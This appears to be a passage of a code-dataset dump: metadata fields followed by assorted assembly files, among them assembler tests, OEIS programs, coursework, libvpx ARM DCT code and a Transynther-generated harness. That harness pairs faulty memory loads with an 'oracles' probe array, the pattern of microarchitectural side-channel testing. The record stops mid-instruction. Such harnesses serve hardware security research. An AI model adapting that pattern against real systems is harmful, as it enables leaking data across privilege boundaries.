hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
92f5733155e844f1e62af7438af8e3ff0d327800
1,117
asm
Assembly
vm_apps/third_party/yasm/source/patched-yasm/modules/objfmts/win32/tests/gas/win32secrel32.asm
metahashorg/v8_vm
0d2ca034d48cc4b796ddb52730ebc06ed21509ab
[ "BSD-3-Clause" ]
1
2019-04-25T17:50:34.000Z
2019-04-25T17:50:34.000Z
vm_apps/third_party/yasm/source/patched-yasm/modules/objfmts/win32/tests/gas/win32secrel32.asm
metahashorg/v8_vm
0d2ca034d48cc4b796ddb52730ebc06ed21509ab
[ "BSD-3-Clause" ]
null
null
null
vm_apps/third_party/yasm/source/patched-yasm/modules/objfmts/win32/tests/gas/win32secrel32.asm
metahashorg/v8_vm
0d2ca034d48cc4b796ddb52730ebc06ed21509ab
[ "BSD-3-Clause" ]
1
2018-11-28T07:47:41.000Z
2018-11-28T07:47:41.000Z
# [oformat win32] .text .ascii ">>>>" pre04: .ascii "<<<<" .ascii ">>>>>" pre0d: .ascii "<<<" .ascii ">>>>>>" pre16: .ascii "<<" .ascii ">>>>>>>" pre1f: .ascii "<" .data .ascii ">>>>" sam04: .ascii "<<<<" .ascii ">>>>>" sam0d: .ascii "<<<" .ascii ">>>>>>" sam16: .ascii "<<" .ascii ">>>>>>>" sam1f: .ascii "<" .ascii ">>>>" .secrel32 pre04 .byte 0x11 .secrel32 pre0d .byte 0x11 .secrel32 pre16 .byte 0x11 .secrel32 pre1f .byte 0x11 .ascii "<<<<<<<<" .ascii ">>>>" .secrel32 sam04 .byte 0x11 .secrel32 sam0d .byte 0x11 .secrel32 sam16 .byte 0x11 .secrel32 sam1f .byte 0x11 .ascii "<<<<<<<<" .ascii ">>>>" .secrel32 nex04 .byte 0x11 .secrel32 nex0d .byte 0x11 .secrel32 nex16 .byte 0x11 .secrel32 nex1f .byte 0x11 .ascii "<<<<<<<<" .ascii ">>>>" .secrel32 ext24 .byte 0x11 .secrel32 ext2d .byte 0x11 .secrel32 ext36 .byte 0x11 .secrel32 ext3f .byte 0x11 .ascii "<<<<<<<<" .section .rdata .ascii ">>>>" nex04: .ascii "<<<<" .ascii ">>>>>" nex0d: .ascii "<<<" .ascii ">>>>>>" nex16: .ascii "<<" .ascii ">>>>>>>" nex1f: .ascii "<" .ascii ">>>>" .p2align 4,0
13.790123
20
0.538944
2c59375fa28356d1d1e58def9baf27f52eb61055
686
asm
Assembly
oeis/263/A263895.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/263/A263895.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/263/A263895.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A263895: Expansion of e.g.f.: exp(-x)*x/(1-2*x)^2. ; Submitted by Jon Maiga ; 0,1,6,51,524,6405,90834,1467319,26607384,535277961,11832460190,285105945531,7437546405156,208846303056781,6280859188226154,201420656725873215,6861297209758777904,247422535745846839569,9416194788956228294454,377156775060354873848131,15859925925614922900280380,698610395650257335558691861,32168571706686268009446741506,1545521156219015809698307891911,77341824668662237966179152378184,4024931691940585853341976297232025,217504151823299110035499738728852174,12188440205947138807649702340088508619 mov $3,1 lpb $0 mul $3,$0 sub $0,1 add $3,$2 mov $2,$3 add $3,$1 mov $1,$2 mul $3,2 lpe mov $0,$1
42.875
494
0.825073
0271d09c0d818af2fbf75b4040515a065e8affa4
206
asm
Assembly
sw/552tests/inst_tests/jalr_12.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
1
2022-02-15T16:03:25.000Z
2022-02-15T16:03:25.000Z
sw/552tests/inst_tests/jalr_12.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
sw/552tests/inst_tests/jalr_12.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
// Original test: ./jmeyer/hw4/problem6/jalr_0.asm // Author: jmeyer // Test source code follows lbi r0, 8 jalr r0, 0 //Tests jalr with 0 offset nop halt jalr r7, 0 //Tests r7 link functionality
18.727273
50
0.68932
a70fbb7b2d0a0294cef30f16b8a5aaff72396548
566
asm
Assembly
src/bootloader.asm
voyula/simple-os
761932403146815658a18ceab024417eddaf89bd
[ "MIT" ]
1
2018-10-10T17:53:56.000Z
2018-10-10T17:53:56.000Z
src/bootloader.asm
voyula/simple-os
761932403146815658a18ceab024417eddaf89bd
[ "MIT" ]
null
null
null
src/bootloader.asm
voyula/simple-os
761932403146815658a18ceab024417eddaf89bd
[ "MIT" ]
1
2019-03-31T15:34:52.000Z
2019-03-31T15:34:52.000Z
SYS_EXIT EQU 1 SYS_WRITE EQU 4 STDIN EQU 0 STDOUT EQU 1 %macro write_string 2 MOV EAX, SYS_WRITE MOV EBX, STDOUT MOV ECX, %1 MOV EDX, %2 INT 80h %endmacro global _start _start: MOV [STRING], DWORD 'Robo' MOV ECX, 3 loop: PUSH ECX write_string STRING, LENGTH write_string STARS, STARS_LENGTH POP ECX LOOP loop CALL exit exit: MOV EAX, SYS_EXIT INT 80h RET section .data STRING DB 'Hello world!', 0xa LENGTH EQU $ - STRING STARS TIMES 10 DB '*' STARS_LENGTH EQU $ - STARS
14.15
36
0.625442
f351b2ecb06d1245b82a3a6618a59379a8901bcf
82
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dfp.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dfp.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dfp.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC asm_dfp EXTERN am48_dfp defc asm_dfp = am48_dfp
9.111111
23
0.817073
00a7b684765c6ab4abd27c6912c5f3125f0c4270
1,248
asm
Assembly
kernel/acpi/public.asm
ssebs/xos
8c50cb7753690ad67696131a8b9935947e1a8075
[ "MIT" ]
15
2020-05-02T22:04:24.000Z
2021-08-31T16:56:59.000Z
kernel/acpi/public.asm
JamesLinus/xos
3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e
[ "MIT" ]
null
null
null
kernel/acpi/public.asm
JamesLinus/xos
3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e
[ "MIT" ]
1
2019-07-20T10:10:36.000Z
2019-07-20T10:10:36.000Z
;; xOS32 ;; Copyright (C) 2016-2017 by Omar Mohammad. use32 ; shutdown: ; Shuts down the PC shutdown: cmp [current_task], 1 jg .no ; only the kernel and the shell can shut down the PC ; when I support IPC, other programs can request shutdowns by sending -- ; -- a message to the shell call kill_all mov eax, [screen.width] mov ebx, [screen.height] shr eax, 1 shr ebx, 1 sub ax, 320/2 sub bx, 96/2 mov si, 320 mov di, 96 mov dx, 0 mov ecx, .title call wm_create_window mov esi, .text mov cx, 16 mov dx, 16 mov ebx, 0x000000 call wm_draw_text call wm_redraw mov al, 5 call acpi_sleep .hang: sti hlt jmp .hang .no: mov esi, .no_msg call kprint ret .no_msg db "acpi: application requested shut down; refused...",10,0 .title db "xOS",0 .text db "It's now safe to power off your PC.",10,0 ; reboot: ; Reboots the PC reboot: cmp [current_task], 1 jg .no call kill_all ; terminate all applications ;call acpi_reboot ; TO-DO! .hang: mov al, 0xFE out 0x64, al call iowait mov al, 3 out 0x92, al call iowait lgdt [.dt] lidt [.dt] int 0 .no: mov esi, .no_msg call kprint ret .no_msg db "acpi: application requested reboot; refused...",10,0 .dt: dw 0 ; null gdt/idt dd 0
13.714286
75
0.663462
7dbf873168e827f5b2d3939ee1e2de259de7b310
1,117
asm
Assembly
programs/oeis/031/A031164.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/031/A031164.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/031/A031164.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A031164: Irreducible Euler sums of weight 8 and depth 10+2n. ; 1,4,15,40,99,212,429,800,1430,2424,3978,6288,9690,14520,21318,30624,43263,60060,82225,110968,148005,195052,254475,328640,420732,533936,672452,840480,1043460,1286832,1577532,1922496,2330445 mov $16,$0 mov $18,$0 add $18,1 lpb $18,1 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 add $15,1 lpb $15,1 clr $0,13 mov $0,$13 sub $15,1 sub $0,$15 mov $10,$0 mov $12,$0 add $12,1 lpb $12,1 clr $0,10 mov $0,$10 sub $12,1 sub $0,$12 mov $7,$0 mov $9,$0 add $9,1 lpb $9,1 mov $0,$7 sub $9,1 sub $0,$9 add $0,5 mov $2,$0 mov $4,$0 gcd $0,2 mul $0,$2 mul $4,2 mov $6,2 lpb $0,1 sub $4,$0 mov $0,5 sub $4,$6 add $4,1 bin $4,3 add $4,5 lpe mov $1,$4 sub $1,5 div $1,4 add $8,$1 lpe add $11,$8 lpe add $14,$11 lpe add $17,$14 lpe mov $1,$17
18.016129
190
0.460161
00d50b058455137f75a645e1be0edcfec3e57c22
115
asm
Assembly
session_07/01-prodottoConSomme/somma.asm
DigiOhhh/LabArchitettura2-2017-2018
da34b9a75ab2945ac70d5cbf69395d0db5172f6f
[ "MIT" ]
1
2019-03-06T13:26:10.000Z
2019-03-06T13:26:10.000Z
session_07/01-prodottoConSomme/somma.asm
DigiOhhh/LabArchitettura2-2017-2018
da34b9a75ab2945ac70d5cbf69395d0db5172f6f
[ "MIT" ]
null
null
null
session_07/01-prodottoConSomme/somma.asm
DigiOhhh/LabArchitettura2-2017-2018
da34b9a75ab2945ac70d5cbf69395d0db5172f6f
[ "MIT" ]
1
2019-03-06T13:25:28.000Z
2019-03-06T13:25:28.000Z
# INPUT: # $a0 e $a1 due interi # OUTPUT: # la loro somma .text .globl somma somma: add $v0, $a0, $a1 jr $ra
9.583333
22
0.591304
855b99b4e6ab5129ab6c6a5af9a209767320cc78
309
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/derror_edom_infc.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/derror_edom_infc.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/derror_edom_infc.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC derror_edom_infc, derror_edom_pinfc, derror_edom_minfc EXTERN am48_derror_edom_infc, am48_derror_edom_pinfc, am48_derror_edom_minfc defc derror_edom_infc = am48_derror_edom_infc defc derror_edom_pinfc = am48_derror_edom_pinfc defc derror_edom_minfc = am48_derror_edom_minfc
28.090909
76
0.889968
9f785c28cbbf0fd022122fa9e5aa1fd1cee6a2e1
3,078
asm
Assembly
assign3/assign3a/assign3a.asm
Andrew-Slade/Assembler
e1579b5c1187ffa4f416f83b070c169b0d401c14
[ "MIT" ]
null
null
null
assign3/assign3a/assign3a.asm
Andrew-Slade/Assembler
e1579b5c1187ffa4f416f83b070c169b0d401c14
[ "MIT" ]
null
null
null
assign3/assign3a/assign3a.asm
Andrew-Slade/Assembler
e1579b5c1187ffa4f416f83b070c169b0d401c14
[ "MIT" ]
null
null
null
//KC03H99A JOB ,'ANDREW SLADE',MSGCLASS=H 00010004 //JSTEP01 EXEC PGM=ASSIST 00020004 //STEPLIB DD DSN=KC00NIU.ASSIST.LOADLIB,DISP=SHR 00030004 //SYSPRINT DD SYSOUT=* 00040004 //SYSIN DD * 00050004 *************************************************** 00060004 * ASSIGNMENT 3 - BASIC ASSEMBLY PROGRAM * 00070004 * * 00080004 * DATE DUE: 09/15/2017 * 00090013 *************************************************** 00100013 *PROCEDURE * 00110016 * * * 00120013 *1 LOAD 15 INTO REGISTER 2 * 00121013 *2 LOAD 7 INTO REGISTER 3 * 00122013 *3 SUBTRACT REGISTER 3 FROM R2 * 00123013 *4 DUMP REGISTERS * 00124013 *5 DEFINE NUM1 AS A FULLWORD OF 15 * 00126014 *6 DEFINE NUM2 AS A FULLWORD OF 7 * 00127014 *7 BREAK TO OS * 00128014 *************************************************** 00130004 ASSIGN3A CSECT 00140012 * 00141016 USING ASSIGN3A,15 ESTABLISH ADDRESSABILITY 00150012 * 00160016 L 2,NUM1 LOAD R2 WITH 15 00180018 L 3,NUM2 LOAD R3 WITH 7 00190018 SR 2,3 SUBTRACT R3 FROM R2 00200011 XDUMP 00210020 * 00211016 BR 14 RETURN TO CALLER 00220011 * 00221014 LTORG 00222015 NUM1 DC F'15' DEFINE FULLWORD OF 15 00230011 NUM2 DC F'7' DEFINE FULLWORD OF 7 00240011 * 00241016 END ASSIGN3A 00250012 /* 00260004 // 00270004
78.923077
80
0.262183
d112fb1ce0b4a70b0bcc2ca54181328f16e4bd71
7,290
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_0.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_0.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_0.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x15e1b, %rax nop nop nop nop xor $9534, %r13 vmovups (%rax), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r10 inc %r11 lea addresses_normal_ht+0x15465, %r13 clflush (%r13) add %rdx, %rdx movups (%r13), %xmm7 vpextrq $0, %xmm7, %r14 nop nop nop xor $3159, %rax lea addresses_A_ht+0x1d8db, %rax nop nop nop nop nop xor $37822, %rdx mov (%rax), %r14 nop nop nop dec %r10 lea addresses_A_ht+0xe0ef, %rax nop and %r15, %r15 movl $0x61626364, (%rax) nop nop nop nop nop add $26769, %r14 lea addresses_D_ht+0x1a27, %r11 nop add %r15, %r15 movb (%r11), %r10b nop nop nop and $27285, %r15 lea addresses_WC_ht+0x12d9b, %r13 nop nop nop add $40448, %r15 mov (%r13), %r10d nop nop nop nop nop and %r15, %r15 lea addresses_UC_ht+0x7743, %rsi lea addresses_UC_ht+0x719b, %rdi nop nop nop nop add $9028, %r11 mov $63, %rcx rep movsw nop nop nop nop nop xor $11301, %rax lea addresses_A_ht+0xd15b, %rsi lea addresses_UC_ht+0x11b9b, %rdi nop nop sub $60865, %r14 mov $67, %rcx rep movsq nop nop nop nop nop sub %r11, %r11 lea addresses_A_ht+0x152f6, %r11 nop nop nop nop add %r13, %r13 mov (%r11), %di nop nop nop cmp %rsi, %rsi lea addresses_WC_ht+0x15263, %r14 nop nop nop and %r15, %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%r14) and %rax, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi // Store lea addresses_D+0x1196d, %rdi nop sub %rcx, %rcx mov $0x5152535455565758, %r8 movq %r8, %xmm0 movups %xmm0, (%rdi) nop nop add %rdx, %rdx // Store lea addresses_UC+0x11fef, %rax nop nop nop sub %r8, %r8 movw $0x5152, (%rax) nop xor $19585, %r13 // REPMOV lea addresses_RW+0x1a02b, %rsi lea addresses_WT+0x1bf03, %rdi sub %r9, %r9 mov $7, %rcx rep movsw nop nop nop nop nop xor %r8, %r8 // Faulty Load lea addresses_normal+0x1949b, %rcx nop add %rdx, %rdx mov (%rcx), %r9d lea oracles, %rsi and $0xff, %r9 shlq $12, %r9 mov (%rsi,%r9,1), %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
32.986425
2,999
0.654595
7f32c09936a9edf33e75fd95c7cec279c1bd4ce5
1,337
nasm
Assembly
Projetos/J-VMTranslator/bin/nasm/SimplePopTemp.nasm
gabrielvf1/Z01---Grupo-H
ef44894eb6a245c9b856802dd96ebe0051315602
[ "Unlicense" ]
null
null
null
Projetos/J-VMTranslator/bin/nasm/SimplePopTemp.nasm
gabrielvf1/Z01---Grupo-H
ef44894eb6a245c9b856802dd96ebe0051315602
[ "Unlicense" ]
77
2018-03-09T12:33:31.000Z
2018-05-18T10:42:22.000Z
Projetos/J-VMTranslator/bin/nasm/SimplePopTemp.nasm
gabrielvf1/Z01---Grupo-H
ef44894eb6a245c9b856802dd96ebe0051315602
[ "Unlicense" ]
null
null
null
; 0 - POP temp 7 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $12, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 1 - POP temp 6 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $11, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 2 - POP temp 5 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $10, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 3 - POP temp 4 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $9, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 4 - POP temp 3 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $8, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 5 - POP temp 2 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $7, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 6 - POP temp 1 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $6, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; 7 - POP temp 0 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D leaw $5, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %D leaw $SP, %A movw %D, (%A) ; End
12.613208
16
0.495138
8034c1db9adcaba9b3f47738b47f32d71a20b6da
9,563
asm
Assembly
vp8/encoder/arm/armv6/vp8_short_fdct4x4_armv6.asm
golden1232004/libvpx
61a8b8673411110823d31ffd9d3e28d5023c5e9f
[ "BSD-3-Clause" ]
83
2015-08-04T06:19:59.000Z
2022-03-25T03:33:55.000Z
vp8/encoder/arm/armv6/vp8_short_fdct4x4_armv6.asm
golden1232004/libvpx
61a8b8673411110823d31ffd9d3e28d5023c5e9f
[ "BSD-3-Clause" ]
32
2015-07-31T22:47:16.000Z
2022-03-16T01:57:49.000Z
vp8/encoder/arm/armv6/vp8_short_fdct4x4_armv6.asm
golden1232004/libvpx
61a8b8673411110823d31ffd9d3e28d5023c5e9f
[ "BSD-3-Clause" ]
40
2015-07-25T03:01:48.000Z
2022-03-29T07:55:34.000Z
; ; Copyright (c) 2011 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; EXPORT |vp8_short_fdct4x4_armv6| ARM REQUIRE8 PRESERVE8 AREA |.text|, CODE, READONLY ; void vp8_short_fdct4x4_c(short *input, short *output, int pitch) |vp8_short_fdct4x4_armv6| PROC stmfd sp!, {r4 - r12, lr} ; PART 1 ; coeffs 0-3 ldrd r4, r5, [r0] ; [i1 | i0] [i3 | i2] ldr r10, c7500 ldr r11, c14500 ldr r12, c0x22a453a0 ; [2217*4 | 5352*4] ldr lr, c0x00080008 ror r5, r5, #16 ; [i2 | i3] qadd16 r6, r4, r5 ; [i1+i2 | i0+i3] = [b1 | a1] without shift qsub16 r7, r4, r5 ; [i1-i2 | i0-i3] = [c1 | d1] without shift add r0, r0, r2 ; update input pointer qadd16 r7, r7, r7 ; 2*[c1|d1] --> we can use smlad and smlsd ; with 2217*4 and 5352*4 without losing the ; sign bit (overflow) smuad r4, r6, lr ; o0 = (i1+i2)*8 + (i0+i3)*8 smusd r5, r6, lr ; o2 = (i1+i2)*8 - (i0+i3)*8 smlad r6, r7, r12, r11 ; o1 = (c1 * 2217 + d1 * 5352 + 14500) smlsdx r7, r7, r12, r10 ; o3 = (d1 * 2217 - c1 * 5352 + 7500) ldrd r8, r9, [r0] ; [i5 | i4] [i7 | i6] pkhbt r3, r4, r6, lsl #4 ; [o1 | o0], keep in register for PART 2 pkhbt r6, r5, r7, lsl #4 ; [o3 | o2] str r6, [r1, #4] ; coeffs 4-7 ror r9, r9, #16 ; [i6 | i7] qadd16 r6, r8, r9 ; [i5+i6 | i4+i7] = [b1 | a1] without shift qsub16 r7, r8, r9 ; [i5-i6 | i4-i7] = [c1 | d1] without shift add 